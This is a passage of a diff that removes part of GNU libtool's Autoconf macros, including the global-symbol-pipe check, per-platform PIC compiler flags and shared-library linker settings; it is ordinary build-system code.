- cat <<\EOF >> "$cfgfile"
-
-# AIX sometimes has problems with the GCC collect2 program. For some
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- COLLECT_NAMES=
- export COLLECT_NAMES
-fi
-EOF
- ;;
- esac
-
- # We use sed instead of cat because bash on DJGPP gets confused if
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
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- sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
-
- mv -f "$cfgfile" "$ofile" || \
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
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- # If there is no Makefile yet, we rely on a make rule to execute
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- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
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- test -f Makefile && make "$ltmain"
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-
-_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
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-
- AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions],
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- [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"])
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-])# AC_LIBTOOL_PROG_COMPILER_NO_RTTI
-
-
-# AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE
-# ---------------------------------
-AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE],
-[AC_REQUIRE([AC_CANONICAL_HOST])
-AC_REQUIRE([AC_PROG_NM])
-AC_REQUIRE([AC_OBJEXT])
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-AC_MSG_CHECKING([command to parse $NM output from $compiler object])
-AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe],
-[
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
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-
-# Regexp to match symbols that can be accessed directly from C.
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-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[[BCDT]]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[[ABCDGISTW]]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[[ABCDEGRST]]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[[ABCDGIRSTW]]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[[BCDEGRST]]'
- ;;
-osf*)
- symcode='[[BCDEGQRST]]'
- ;;
-solaris*)
- symcode='[[BDRT]]'
- ;;
-sco3.2v5*)
- symcode='[[DT]]'
- ;;
-sysv4.2uw2*)
- symcode='[[DT]]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[[ABDT]]'
- ;;
-sysv4)
- symcode='[[DFNSTU]]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[[ABCDGIRSTW]]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if AC_TRY_EVAL(ac_compile); then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[[]] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-])
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- AC_MSG_RESULT(failed)
-else
- AC_MSG_RESULT(ok)
-fi
-]) # AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE
-
-
-# AC_LIBTOOL_PROG_COMPILER_PIC([TAGNAME])
-# ---------------------------------------
-AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC],
-[_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=
-_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
-_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=
-
-AC_MSG_CHECKING([for $compiler option to produce PIC])
- ifelse([$1],[CXX],[
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- else
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- fi
- ;;
- aCC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- lcc*)
- # Lucid
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
- esac
- fi
-],
-[
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- ;;
-
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- else
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # PIC (with -KPIC) is the default.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
-
- newsos6)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- ccc*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # All Alpha code is PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # All OSF/1 code is PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
-
- solaris*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
- esac
- ;;
-
- sunos4*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- unicos*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
-
- uts4*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
- esac
- fi
-])
-AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)])
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then
- AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works],
- _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1),
- [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [],
- [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in
- "" | " "*) ;;
- *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;;
- esac],
- [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no])
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_AC_TAGVAR(lt_prog_compiler_static, $1)\"
-AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works],
- _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1),
- $lt_tmp_static_flag,
- [],
- [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=])
-])
-
-
-# AC_LIBTOOL_PROG_LD_SHLIBS([TAGNAME])
-# ------------------------------------
-# See if the linker supports building shared libraries.
-AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS],
-[AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
-ifelse([$1],[CXX],[
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- else
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([[^ ]]*\) [[^ ]]*/\1 DATA/;/^I /d;/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-],[
- runpath_var=
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
- _LT_AC_TAGVAR(archive_cmds, $1)=
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)=
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=
- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)=
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- _LT_AC_TAGVAR(thread_safe_flag_spec, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
- _LT_AC_TAGVAR(hardcode_automatic, $1)=no
- _LT_AC_TAGVAR(module_cmds, $1)=
- _LT_AC_TAGVAR(module_expsym_cmds, $1)=
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- _LT_AC_TAGVAR(include_expsyms, $1)=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- _LT_CC_BASENAME([$compiler])
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
